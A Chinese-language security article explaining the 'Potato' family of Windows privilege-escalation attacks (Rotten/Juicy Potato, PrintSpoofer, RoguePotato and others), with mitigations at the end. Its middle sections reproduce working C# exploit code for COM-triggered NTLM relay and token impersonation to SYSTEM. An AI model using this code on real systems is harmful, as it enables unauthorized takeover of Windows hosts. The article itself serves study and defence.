potato提權技術
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
NO.1 概述
早在2015年,Google project zero就發布了關于DCOM DCE/RPC本地NTLM Relay的研究,其中提到了使用COM對象及OLE Packager并舉了個例子實現任意文件寫入。
(https://bugs.chromium.org/p/project-zero/issues/detail?id=325&redir=1)
隨后到2016年,foxglovesecurity發布了Rotten Potato(爛土豆),該漏洞才正式進入攻擊者的視線并被廣泛使用。
(https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
由于篇幅(能力)有限,本文主要以分析Rotten Potato/juicy Potato的原理及實現,其他的土豆則僅講述他們的原理。
NO.2
Rotten Potato & Juicy Potato
前置知識
COM組件
COM是一種編程方法,COM組件由以Win32動態庫(DLL)或者可執行文件(EXE)形式發布的可執行代碼所組成。遵循COM規范編寫出來的組件將能夠滿足對組件架構的所有要求。
COM對象與接口類似,每個對象也用一個128位GUID來標識,稱為CLSID(class identifier,類標識符或類ID),用CLSID標識對象可以保證(概率意義上)在全球范圍內的唯一性。只要系統中含有這類COM對象的信息,并包括COM對象所在的模塊文件(DLL或EXE文件)以及COM對象在代碼中的入口點,客戶程序就可以由此CLSID來創建COM對象。客戶成功創建對象后,它得到的是一個指向對象某個接口的指針,因為COM對象至少實現一個接口,所以客戶就可以調用該接口提供的所有服務。
NTLM Relay
NTLM Relay通常作為中間人攻擊,在進行NTLM認證時冒充客戶端服務端雙方,從而截取認證過程數據,最后達到對本地或遠程主機認證的目的。
RPC
遠程過程調用 (RPC) 服務用于支持 Windows 應用程序之間的通信。
具體來說,該服務實現了RPC 協議一種進程間通信的低級形式,客戶端進程可以在其中向服務器進程發出請求。Microsoft 的基礎 COM 和 DCOM 技術建立在 RPC 之上,進程為rpcss。
OXID Resolver
OXID Resolver是在支持COM +的每臺計算機上運行的服務。它執行兩項重要職責:
存儲與遠程對象連接所需的RPC字符串綁定,并將其提供給本地客戶端。
將ping消息發送到本地計算機具有客戶端的遠程對象,并接收在本地計算機上運行的對象的ping消息。
漏洞原理
Rotten Potato & Juicy Potato原理都差不多,我們就從漏洞起源開始說起。
如概述所說,漏洞初始由Google安全團隊發現了RPC到本地的NTLM Relay,也就是通過HTTP-->SMB中繼。爛土豆作者研究更進一步,發現了具體的利用鏈。
漏洞原理簡單的概括為:
1.欺騙高權限賬戶(SYSTEM)向我們控制的TCP端進行NTLM認證2.使用一些Windows API進行中間人攻擊協商安全令牌3.冒充令牌
底層一點的說明:
JuicyPotato通過BITS的CLSID傳遞給CoGetInstanceFromIStorage函數以觸發rpcss激活BITS服務,然后DCOM OXID resolver解析OBJREF拿到DUALSTRINGARRAY字段后指定IP:PORT進行綁定,并向綁定的地址發起DCE/RPC請求。當攻擊者創建并監聽指定的IP:PORT,攻擊者可以要求服務進行身份認證,在此進行中間人攻擊并最終模擬令牌。
具體學習攻擊流程之前,首先需要了解一些所用到的API函數:
? CoGetInstanceFromIStorage:創建一個新對象并通過對IPersistFile::Load的內部調用從存儲對象初始化它,用于觸發DCOM Call
? AcquireCredentialsHandle:獲取句柄已經存在的一個安全主體的憑證,用于獲取句柄
? AcceptSecurityContext:用來傳輸應用程序的服務器組件建立服務器和遠程客戶端之間的安全上下文,用于本地NTLM協商
? QuerySecurityContextToken:獲取客戶端安全上下文的訪問令牌并直接使用它
? CreateProcessWithTokenW:以hToken創建新進程,用戶需要SeImpersonatePrivilege特權
? CreateProcessAsUserW:以hToken創建新進程,用戶需要SeAssignPrimaryTokenPrivilege特權
攻擊過程

借鑒一位大牛的圖,我們在做中間人的時候其實是針對于RPC兩端,一端是本地服務RPC,另一端是自己控制并創建監聽的RPC。
1.首先使用CoGetInstanceFromIStorage強制高權限服務進行認證
在COM中,CoGetInstanceFromIStorage可以從調用指定位置獲取對象的實例,上面說到,獲取到對象之后,我們可以控制該接口進行操作。該漏洞通過CoGetInstanceFromIStorage可以強制某個COM(漏洞使用的是BITS)想要某個對象的實例(通過CLSID找到該對象),并在127.0.0.1:6666中加載。這樣我們就可以與BITS服務進行通訊。
2.發起NTLM協商(Type 1)
我們可以與高權限服務(BITS)進行通訊之后,將接收到的包中繼到本地控制的RPC 135中。這時我們嘗試讓COM(BITS)進行NTLM身份認證。對RPC進行身份認證時,使用135端口可以繞過防火墻的攔截(一般情況下防火墻不攔截135端口)。
3.先Relay 協商(Type 1)到本地的RPC 135端口,并使用AcceptSecurityContext強制進行本地驗證
這里協商(Type 1)回RPC 135,然后使用AcceptSecurityContext API進行本地身份驗證。
4.5.6.RPC 135修改過NTLM 質詢(Type 2)之后返回RPC
根據爛土豆作者的說法,在RPC 135向COM(BITS)的NTLM質詢(Type 2)數據包中,有個保留字段Reserved會不同,因此需要根據之前的包修改保持一致。
7.8.RPC發送NTLM Auth(Type 3)到AcceptSecurityContext響應
COM(BITS)回復身份認證響應包到AcceptSecurityContext
9.模擬令牌提權
使用QuerySecurityContextToken API獲取客戶端安全上下文的訪問令牌并直接使用它
代碼片段
觸發COM服務
4991d34b-80a1-4291-83b6-3328366b9097對應的是BITS,00000000-0000-0000-C000-000000000046為IUnknown接口,所有COM接口都繼承IUnKnown。BootstrapComMarshal()可以觸發RPC回連。
public static IStorage CreateStorage(){ IntPtr gh = IntPtr.Zero; IntPtr lb; IStorage ret; CreateILockBytesOnHGlobal(gh, true, out lb); StgCreateDocfileOnILockBytes(lb, STGM.CREATE | STGM.READWRITE | STGM.SHARE_EXCLUSIVE, 0, out ret); return ret; } // public static void BootstrapComMarshal(){ IStorage stg = CreateStorage();
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg);
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = GuidToPointer("00000000-0000-0000-C000-000000000046"); qis[0].pItf = null; qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
綁定COM服務回連地址
TestClass的MarshalInterface接口中,data數組寫了回連地址為127.0.0.1:6666
public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS){ uint written; byte[] data = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76, 0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70, 0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00, 0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36, 0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 }; pstm.Write(data, (uint)data.Length, out written); }
數據代理轉發處理
COMListener方法首先監聽中間代理,如127.0.0.1:6666,然后將數據包轉發至RPC 135。ProcessNTLMBytes方法做了
void COMListener() {
try { Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1); //監聽中間代理 listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, port)); listenSocket.Listen(10); readyEvent.Set();
while (!listenSocket.Poll(100000, SelectMode.SelectRead)) { if (dcomComplete) return; }
Socket clientSocket = listenSocket.Accept(); Socket rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
byte[] buffer = new byte[4096]; int recvLen = 0; int sendLen = 0;
while ((recvLen = clientSocket.Receive(buffer)) > 0) { byte[] received = new byte[recvLen]; Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
if (negotiator.Authenticated) { break; }
sendLen = rpcSocket.Send(received); recvLen = rpcSocket.Receive(buffer);
if (recvLen == 0) { break; }
received = new byte[recvLen]; Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received); sendLen = clientSocket.Send(received);
if (listenSocket.Poll(100000, SelectMode.SelectRead)) { clientSocket.Close(); clientSocket = listenSocket.Accept(); rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135)); } }
try { clientSocket.Close(); rpcSocket.Close(); listenSocket.Close(); } finally { } } catch (Exception e) { Console.WriteLine("[!] COM Listener thread failed: {0}", e.Message); readyEvent.Set(); } }
識別NTLM Type
ProcessNTLMBytes方法做了NTLM Type識別,對數據進行處理后再發送至RPC
int ProcessNTLMBytes(byte[] bytes) {
int ntlmLoc = FindNTLMBytes(bytes); if (ntlmLoc == -1) return -1;
byte[] ntlm = new byte[bytes.Length - ntlmLoc]; Array.Copy(bytes, ntlmLoc, ntlm, 0, ntlm.Length);
int messageType = bytes[ntlmLoc + 8]; switch (messageType) { case 1: //NTLM type 1 message return negotiator.HandleType1(ntlm); case 2: //NTLM type 2 message int result = negotiator.HandleType2(ntlm); Array.Copy(ntlm, 0, bytes, ntlmLoc, ntlm.Length); return result;
case 3: //NTLM type 3 message return negotiator.HandleType3(ntlm); default: Console.WriteLine("Error - Unknown NTLM message type..."); return -1; } }
認證數據處理
HandleType1、HandleType2、HandleType3為NTLM各個階段的數據處理
public int HandleType1(byte[] ntmlBytes) {
TimeStamp ts = new TimeStamp();
int status = AcquireCredentialsHandle(null, "Negotiate", SECPKG_CRED_INBOUND, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, hCred, ts);
if (status != SEC_E_OK) { Console.WriteLine("Error in AquireCredentialsHandle"); return -1; }
SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes); secServerBufferDesc = new SecBufferDesc(256);
UInt32 fContextAttr;
return AcceptSecurityContext(hCred, null, ref secClientBufferDesc, ASC_REQ_CONNECTION, SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts); }
public int HandleType2(byte[] ntlmBytes) {
SecBuffer secBuffer = secServerBufferDesc.GetSecBuffer(); byte[] newNtlmBytes = secBuffer.GetBytes();
if (ntlmBytes.Length >= newNtlmBytes.Length) { for (int idx = 0; idx < ntlmBytes.Length; ++idx) { if (idx < newNtlmBytes.Length) { ntlmBytes[idx] = newNtlmBytes[idx]; } else { ntlmBytes[idx] = 0; } } } else { Console.WriteLine("NTLM Type2 cannot be replaced. New buffer too big"); }
return 0; }
public int HandleType3(byte[] ntmlBytes) {
SecBufferDesc secClientBufferDesc = new SecBufferDesc(ntmlBytes); secServerBufferDesc = new SecBufferDesc(0); CtxHandle phContextNew = new CtxHandle();
UInt32 fContextAttr; TimeStamp ts = new TimeStamp();
int status = AcceptSecurityContext(hCred, phContext, ref secClientBufferDesc, ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, SECURITY_NATIVE_DREP, phContext, out secServerBufferDesc, out fContextAttr, ts);
if (status == 0) { Authenticated = true; IntPtr hToken; if ((status = QuerySecurityContextToken(phContext, out hToken)) == 0) { Token = hToken; } }
return status; }
查找NTLMSSP header
NTLM 協商(Type 1)、NTLM質詢(Type 2)、NTLM身份認證(Type 3)都存在特定字符NTLMSSP,通過該方法可提取出我們需要的數據。
int FindNTLMBytes(byte[] bytes) { //Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header. //The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header, //we can just return the index byte[] pattern = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 }; int pIdx = 0; int i; for (i = 0; i < bytes.Length; i++) { if (bytes[i] == pattern[pIdx]) { pIdx = pIdx + 1; if (pIdx == 7) return (i - 6); } else { pIdx = 0; } } return -1; }

模擬令牌處理
CreateProcessWithTokenW、CreateProcessAsUserW都是以hToken創建進程執行我們自己的操作,只不過判斷當前用戶具有的權限。
? CreateProcessWithToken(需要SeImpersonate)
? CreateProcessAsUser(需要SeAssignPrimaryToken)
if (executionMethod == ExecutionMethod.Token) { if (!CreateProcessWithTokenW(potatoAPI.Token, 0, program, finalArgs, CreationFlags.NewConsole, IntPtr.Zero, null, ref si, out pi)) { Console.WriteLine("[!] Failed to created impersonated process with token: {0}", Marshal.GetLastWin32Error()); return; } } else { if (!CreateProcessAsUserW(impersonatedPrimary, program, finalArgs, IntPtr.Zero, IntPtr.Zero, false, CREATE_NEW_CONSOLE, IntPtr.Zero, @"C:\", ref si, out pi)) { Console.WriteLine("[!] Failed to created impersonated process with user: {0} ", Marshal.GetLastWin32Error()); return; } }
NO.3 其他Potato
Hot Potato
Hot Potato是爛土豆作者的第一個發布版本。該漏洞主要通過NBNS Spoofer進行中間人欺騙,冒充名稱解析,強制系統下載惡意WAPD配置。通過部署惡意的WAPD配置進行強制身份認證。作者提供的攻擊手法為使用低權限用戶激活更新服務觸發身份驗證。
Microsoft 通過使用已經在進行中的質詢來禁止相同協議的 NTLM 身份驗證來修補此問題 (MS16-075),這意味著從一臺主機到其自身的 SMB->SMB NTLM 中繼將不再起作用。MS16-077 WPAD 名稱解析將不使用 NetBIOS (CVE-2016-3213) 并且在請求 PAC 文件時不發送憑據 (CVE-2016-3236)。WAPD MITM Attack 已修補。
PrintSpoofer (PipePotato or BadPotato)
這也是一個經典的中繼手法。通過Windows named pipe的一個API:ImpersonateNamedPipeClient來模擬高權限客戶端的token(還有類似的ImpersonatedLoggedOnUser,RpcImpersonateClient函數),調用該函數后會更改當前線程的安全上下文。該漏洞主要利用了打印機組件的BUG,使SYSTEM權限服務能連接到攻擊者創建的named pipe。
該漏洞同時還利用了一個API函數的解析問題。
spoolsv.exe服務有一個公開的API函數:
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( /* [in] */ PRINTER_HANDLE hPrinter, /* [in] */ DWORD fdwFlags, /* [in] */ DWORD fdwOptions, /* [unique][string][in] */ wchar_t *pszLocalMachine, /* [in] */ DWORD dwPrinterLocal, /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
pszLocalMachine參數需要傳遞UNC路徑,傳遞\\127.0.0.1時,服務器會訪問\\127.0.0.1\pipe\spoolss,但這個管道已經被系統注冊了,如果創建了其他管道或新增某些字符,調用就會因為路徑驗證檢查而失敗。這就需要一個特殊技巧,在調用時如果主機名包含"/",那么驗證就可以通過,因為在連接到命名管道路徑時會自動將"/"轉為"\",校驗路徑時會認為127.0.0.1/pipe/foo是主機名,于是就會連接\\127.0.0.1\pipe\foo\pipe\spoolss,攻擊者就可以注冊這個named pipe從而模擬client的token。
RoguePotato
微軟推出爛土豆補丁后,高版本Windows DCOM解析器不再允許OBJREF中的DUALSTRINGARRAY字段指定端口號。這樣便無法控制RPC對特定IP端口進行通訊。
RoguePotato使用其他遠程主機的135端口做轉發,通過遠程主機將數據傳到本地偽造的RPC服務上。
具體操作為:
? Rogue Potato指定遠程 IP(攻擊者 IP)指示 DCOM 服務器執行遠程 OXID 查詢
? 在遠程 IP 上,設置一個“socat”監聽,用于將 OXID 解析請求重定向到一個假的OXID RPC 服務器
? 偽造的OXID RPC 服務器實現了ResolveOxid2服務器過程,該過程將指向受控命名管道[ ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper] ]。
? DCOM 服務器連接到 RPC 服務器以執行IRemUnkown2接口調用。連接到命名管道時將執行身份驗證,我們可以通過 RpcImpersonateClient() 模擬調用者。
RemotePotato
RoguePotato改版。
EfsPotato
使用Efs接口(MS-EFSR EfsRpcOpenFileRaw)強制認證并進行模擬令牌。
SweetPotato
COM/WinRM/Spoolsv/Efs的集合版本。
NO.4 緩解措施
土豆提權漏洞都是利用各種接口強制本地認證達到中繼提權的目的,因此可以從中繼下手,阻斷中繼過程。如:
? 啟用SMB簽名
? 啟用身份認證擴展程序
也可以通過漏洞本身進行攔截,如:
? 更改更高的UAC級別
? 刪除SeImpersonatePrivilege與SeAssignPrimaryTokenPrivilege特權
NO.5 參考
https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html# rottenPotato
https://foxglovesecurity.com/2016/01/16/hot-potato/
https://decoder.cloud/2018/01/13/potato-and-tokens/
https://bugs.chromium.org/p/project-zero/issues/detail?id=325&redir=1
http://open.appscan.io/article-440.html
https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/
https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/
https://micahvandeusen.com/the-power-of-seimpersonation/
http://www.zmax99.com/component/k2/item/152-what-is-com
http://iv4n.cc/potato-family-local-priv-elevate/